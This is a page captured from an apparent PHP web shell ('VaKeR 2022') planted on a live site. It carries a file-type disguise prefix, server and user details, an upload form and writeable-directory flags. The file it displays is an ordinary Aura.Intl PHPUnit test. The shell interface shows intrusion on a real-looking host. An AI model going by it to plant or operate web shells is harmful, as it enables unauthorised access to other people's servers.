%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/aura/intl/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/aura/intl/tests/PackageLocatorTest.php
<?php
namespace Aura\Intl;

/**
 * Test class for Package.
 * Generated by PHPUnit on 2012-10-27 at 22:46:01.
 */
class PackageLocatorTest extends \PHPUnit_Framework_TestCase
{
    protected $packages;

    protected function setUp()
    {
        parent::setUp();
        $this->packages = new PackageLocator([
            'Vendor.Foo' => [
                'en_US' => function () {
                    return new \Aura\Intl\Package;
                },
            ],
        ]);
    }

    public function testGet()
    {
        // get once to create it the first time
        $first = $this->packages->get('Vendor.Foo', 'en_US');
        $this->assertInstanceOf('Aura\Intl\Package', $first);

        // get again to make sure it's the same object
        $again = $this->packages->get('Vendor.Foo', 'en_US');
        $this->assertSame($first, $again);

        // try for an unregistered package
        $this->setExpectedException('Aura\Intl\Exception');
        $this->packages->get('Vendor.Bar', 'en_US');
    }
}

VaKeR 2022